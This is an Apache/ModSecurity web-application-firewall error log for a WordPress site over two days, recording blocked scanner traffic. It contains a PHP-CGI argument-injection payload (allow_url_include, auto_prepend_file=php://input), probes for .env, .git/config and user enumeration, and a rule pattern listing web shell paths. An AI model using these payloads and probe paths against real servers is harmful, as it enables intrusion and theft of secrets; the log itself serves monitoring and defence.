[Thu Jan 01 11:05:23.639273 2026] [:error] [pid 58819:tid 58893] [client 5.135.142.201:39410] [client 5.135.142.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.135.142.201, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVXkcxMbLE49waxUJzPyPgAAAI0"]
[Thu Jan 01 11:12:57.276150 2026] [:error] [pid 58818:tid 58856] [client 66.70.178.228:45836] [client 66.70.178.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.70.178.228, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVXmOWr6b3Nsqkrqu80ddQAAAEM"]
[Thu Jan 01 12:00:54.778927 2026] [:error] [pid 58819:tid 58880] [client 61.244.204.54:48120] [client 61.244.204.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 61.244.204.54, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVXxdhMbLE49waxUJzP-SgAAAIA"]
[Thu Jan 01 13:48:52.884981 2026] [:error] [pid 32337:tid 32348] [client 68.183.13.1:40586] [client 68.183.13.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.183.13.1, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVYKxLTSw8DLIoJg6Hi1mgAAAUk"]
[Thu Jan 01 15:05:30.683337 2026] [:error] [pid 58817:tid 58829] [client 43.165.135.242:53432] [client 43.165.135.242] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aVYculebWGLeUWiwYf9KAAAAAAM"]
[Thu Jan 01 15:15:24.863502 2026] [:error] [pid 32337:tid 32363] [client 121.229.185.160:50938] [client 121.229.185.160] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aVYfDLTSw8DLIoJg6HjEDwAAAVg"]
[Thu Jan 01 15:45:49.909037 2026] [:error] [pid 26709:tid 26734] [client 81.169.226.163:36482] [client 81.169.226.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.169.226.163, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVYmLckpCuLUGXqghaUs1AAAANc"]
[Thu Jan 01 16:31:22.046543 2026] [:error] [pid 36395:tid 36401] [client 104.37.174.183:56578] [client 104.37.174.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.37.174.183, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVYw2mQHG4-J0nOXDr7D4gAAAAQ"]
[Thu Jan 01 17:28:03.669524 2026] [:error] [pid 26614:tid 26662] [client 78.47.142.186:49994] [client 78.47.142.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.47.142.186, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVY-Ixdl23_Mbe-Eo9g8iAAAAIo"]
[Thu Jan 01 18:24:14.533667 2026] [:error] [pid 26615:tid 26695] [client 85.14.178.45:39552] [client 85.14.178.45] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.14.178.45, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVZLTh_JbAVB_Sll5zkrxwAAARA"]
[Thu Jan 01 18:42:08.072254 2026] [:error] [pid 32658:tid 32716] [client 89.250.176.52:49870] [client 89.250.176.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.250.176.52, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVZPgJ-bvATvX7P5sTBHtwAAAAA"]
[Thu Jan 01 18:42:26.154769 2026] [:error] [pid 32658:tid 32723] [client 217.76.158.107:52430] [client 217.76.158.107] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.76.158.107, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVZPkp-bvATvX7P5sTBH0QAAAAc"]
[Thu Jan 01 19:19:36.151897 2026] [:error] [pid 49509:tid 49587] [client 81.8.91.201:45758] [client 81.8.91.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.8.91.201, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVZYSD7APjQPiQgd5NIAUAAAANY"]
[Thu Jan 01 20:14:29.112244 2026] [:error] [pid 63889:tid 63967] [client 44.216.106.147:60976] [client 44.216.106.147] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 44.216.106.147, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVZlJdU3sRpsUcz9MOBoDgAAABU"]
[Thu Jan 01 21:41:24.214419 2026] [:error] [pid 63889:tid 63949] [client 114.96.103.33:39056] [client 114.96.103.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aVZ5hNU3sRpsUcz9MOB76AAAAAM"]
[Thu Jan 01 22:03:38.354362 2026] [:error] [pid 995:tid 1005] [client 43.167.236.228:50528] [client 43.167.236.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aVZ-umJVFefxwdkvFzgHqgAAAQc"]
[Fri Jan 02 00:00:34.673278 2026] [:error] [pid 63888:tid 63928] [client 195.201.83.173:60562] [client 195.201.83.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.201.83.173, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVaaItoJ3YkVCYrOT1w5uQAAAIk"]
[Fri Jan 02 00:54:20.128182 2026] [:error] [pid 19495:tid 19512] [client 223.233.71.96:8285] [client 223.233.71.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.233.71.96, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVamvMHOHGMziFVGMwANHQAAAEw"]
[Fri Jan 02 00:54:22.676890 2026] [:error] [pid 19497:tid 19578] [client 223.233.71.96:23479] [client 223.233.71.96] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aVamvqzNNNiUujf1d5FHAQAAANc"]
[Fri Jan 02 00:54:52.042629 2026] [:error] [pid 19496:tid 19546] [client 223.233.71.96:9610] [client 223.233.71.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.233.71.96, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVam3GM9BBPu2JyEzYsHBAAAAJI"]
[Fri Jan 02 00:59:20.756035 2026] [:error] [pid 19496:tid 19538] [client 78.2.21.73:61618] [client 78.2.21.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.2.21.73, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVan6GM9BBPu2JyEzYsIBgAAAIo"]
[Fri Jan 02 01:05:18.265282 2026] [:error] [pid 19495:tid 19516] [client 223.233.71.96:26969] [client 223.233.71.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.233.71.96, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVapTsHOHGMziFVGMwAPlAAAAFA"]
[Fri Jan 02 01:13:01.297861 2026] [:error] [pid 19496:tid 19551] [client 223.233.71.96:19969] [client 223.233.71.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.233.71.96, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVarHWM9BBPu2JyEzYsKvgAAAJc"]
[Fri Jan 02 01:23:42.923615 2026] [:error] [pid 19495:tid 19519] [client 223.233.71.96:8043] [client 223.233.71.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.233.71.96, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVatnsHOHGMziFVGMwAS8AAAAFM"]
[Fri Jan 02 02:34:47.002800 2026] [:error] [pid 19495:tid 19522] [client 4.193.190.39:57285] [client 4.193.190.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "aVa-R8HOHGMziFVGMwAhcQAAAFY"], referer: https://www.google.com/
[Fri Jan 02 02:35:16.915531 2026] [:error] [pid 19496:tid 19551] [client 4.193.190.39:59443] [client 4.193.190.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/tiny.php"] [unique_id "aVa-ZGM9BBPu2JyEzYscUAAAAJc"], referer: https://www.google.fr/
[Fri Jan 02 02:35:31.181371 2026] [:error] [pid 51579:tid 51581] [client 4.193.190.39:59479] [client 4.193.190.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.193.190.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVa-c0Q-wUxlj5k_dbnAGQAAAAA"], referer: https://www.bing.com/
[Fri Jan 02 03:23:27.187973 2026] [:error] [pid 19497:tid 19570] [client 4.240.89.23:38058] [client 4.240.89.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.240.89.23, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVbJr6zNNNiUujf1d5FmJAAAAM8"]
[Fri Jan 02 04:04:50.219414 2026] [:error] [pid 63100:tid 63177] [client 1.15.52.154:50670] [client 1.15.52.154] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aVbTYjuUXUKd3KTnKl9yQQAAAJA"]
[Fri Jan 02 04:49:54.200816 2026] [:error] [pid 63099:tid 63137] [client 185.220.101.160:13073] [client 185.220.101.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.220.101.160, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVbd8smCZokRPYUhzvgCJAAAAEM"], referer: https://gigfragments.org/xmlrpc.php?rsd
[Fri Jan 02 05:29:53.750860 2026] [:error] [pid 63208:tid 63213] [client 66.29.147.6:58564] [client 66.29.147.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.29.147.6, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVbnUXKLI9INGPLzfndyXwAAAMI"]
[Fri Jan 02 05:40:31.909567 2026] [:error] [pid 63098:tid 63112] [client 43.166.136.24:54538] [client 43.166.136.24] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aVbpz8ez9k78gUs48kqOWAAAAAU"]
[Fri Jan 02 06:26:48.583703 2026] [:error] [pid 63098:tid 63129] [client 94.205.249.38:10241] [client 94.205.249.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.205.249.38, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVb0qMez9k78gUs48kqdOgAAABY"]
[Fri Jan 02 07:21:39.377758 2026] [:error] [pid 63100:tid 63184] [client 178.33.162.49:46344] [client 178.33.162.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.33.162.49, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVcBgzuUXUKd3KTnKl-7QAAAAJc"]
[Fri Jan 02 08:15:53.214616 2026] [:error] [pid 63098:tid 63111] [client 69.57.172.96:40544] [client 69.57.172.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.57.172.96, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVcOOcez9k78gUs48krG1wAAAAQ"]
[Fri Jan 02 09:06:15.096638 2026] [:error] [pid 29316:tid 29333] [client 35.222.71.213:40768] [client 35.222.71.213] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.222.71.213, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVcaB9fT9ty-7jZmgf8icwAAAQ8"]
[Fri Jan 02 10:04:33.403910 2026] [:error] [pid 63100:tid 63167] [client 123.187.240.242:35223] [client 123.187.240.242] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aVcnsTuUXUKd3KTnKl_oYgAAAIY"]
[Fri Jan 02 10:29:49.047859 2026] [:error] [pid 63100:tid 63181] [client 51.254.142.81:56022] [client 51.254.142.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.254.142.81, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVctnTuUXUKd3KTnKl_t1QAAAJQ"]
[Fri Jan 02 10:50:38.693809 2026] [:error] [pid 50046:tid 50070] [client 207.154.250.140:46790] [client 207.154.250.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 207.154.250.140, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVcyfizv7fgIiwkQYNBHtAAAAVY"]
[Fri Jan 02 12:35:40.925541 2026] [:error] [pid 63208:tid 63232] [client 51.38.113.2:53242] [client 51.38.113.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.38.113.2, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVdLHHKLI9INGPLzfnf6oQAAANU"]
[Fri Jan 02 12:55:33.719361 2026] [:error] [pid 29316:tid 29340] [client 167.172.158.128:49920] [client 167.172.158.128] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd cgi.force_redirect=0 \\xadd disable_functions="" \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/usr/local/apache/modsecurity-cwaf/rules/21_PHP_PHPGen.conf"] [line "22"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found||www.gigfragments.org|F|2"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd cgi.force_redirect=0 \\x5cxadd disable_functions=\\x22\\x22 \\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd cgi.force_redirect=0 \\xadd disable_functions=\\x22\\x22 \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "www.gigfragments.org"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aVdPxdfT9ty-7jZmgf9TkQAAARY"]
[Fri Jan 02 12:55:45.279292 2026] [authz_core:error] [pid 29316:tid 29329] [client 167.172.158.128:33864] AH01630: client denied by server configuration: /home/gigfrag/public_html/server-status
[Fri Jan 02 12:55:50.673394 2026] [:error] [pid 50046:tid 50070] [client 167.172.158.128:33918] [client 167.172.158.128] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env"] [unique_id "aVdP1izv7fgIiwkQYNBiiwAAAVY"]
[Fri Jan 02 12:55:52.686402 2026] [:error] [pid 50186:tid 50200] [client 167.172.158.128:33146] [client 167.172.158.128] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aVdP2FXqK_iX4f-S70IEdQAAAYw"]
[Fri Jan 02 13:28:26.995568 2026] [:error] [pid 63098:tid 63113] [client 206.81.24.246:50734] [client 206.81.24.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 206.81.24.246, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVdXesez9k78gUs48kr6rgAAAAY"]
[Fri Jan 02 14:06:59.464630 2026] [:error] [pid 50046:tid 50059] [client 20.110.44.193:52340] [client 20.110.44.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.110.44.193, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVdggyzv7fgIiwkQYNBvKQAAAUs"]
[Fri Jan 02 14:21:33.942811 2026] [:error] [pid 63100:tid 63173] [client 69.57.172.96:38878] [client 69.57.172.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.57.172.96, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVdj7TuUXUKd3KTnKl8R2AAAAIw"]
[Fri Jan 02 14:42:00.696117 2026] [:error] [pid 50186:tid 50210] [client 107.180.113.88:22646] [client 107.180.113.88] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.113.88, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVdouFXqK_iX4f-S70IgyAAAAZY"]
[Fri Jan 02 15:12:53.018889 2026] [:error] [pid 29316:tid 29339] [client 49.51.166.228:58668] [client 49.51.166.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aVdv9dfT9ty-7jZmgf9wIgAAARU"]
[Fri Jan 02 16:09:42.654526 2026] [:error] [pid 63208:tid 63230] [client 185.177.72.51:13126] [client 185.177.72.51] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aVd9RnKLI9INGPLzfncdOAAAANM"]
[Fri Jan 02 16:09:48.933397 2026] [:error] [pid 50046:tid 50060] [client 185.177.72.51:13138] [client 185.177.72.51] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/backend/.env"] [unique_id "aVd9TCzv7fgIiwkQYNCBWAAAAUw"]
[Fri Jan 02 16:09:55.768120 2026] [:error] [pid 50186:tid 50206] [client 185.177.72.51:45092] [client 185.177.72.51] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/laravel/.env"] [unique_id "aVd9U1XqK_iX4f-S70I2XgAAAZI"]
